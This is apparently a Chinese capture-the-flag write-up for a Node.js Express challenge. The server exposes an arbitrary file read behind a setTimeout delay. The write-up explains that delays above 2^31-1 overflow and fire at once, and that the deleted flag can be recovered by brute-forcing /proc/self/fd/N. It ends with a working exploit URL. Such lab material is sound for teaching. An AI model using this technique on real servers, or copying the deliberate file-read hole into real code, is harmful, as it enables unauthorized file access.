题目
const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
fs.read(fd, flag, 0, 44, 0, () => {
fs.rm(fp, () => {});
});
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
});
app.get('/hint', function (req, res) {
res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})
// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
try {
let a = req.query.a;
if (a === randomBytes(3).toString()) {
res.send(fs.readFileSync(req.query.b));
} else {
const t = setTimeout(() => {
res.send(fs.readFileSync(req.query.b));
}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
}
} catch {
res.send('?');
}
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
思路
setTimeout()
的两个特性,函数可控实现rce,此处为任意文件读,第二个特性是使用int32存储延时参数值,超过2^31-1延时则为0。
fs.open()
打开了会存储在里,为进程文件打开的情况,通过爆破id可以getflag。/app/src/flag.txt
/proc/self/fd/id
经验
/getflag?b=/proc/self/fd/18&c=2147483648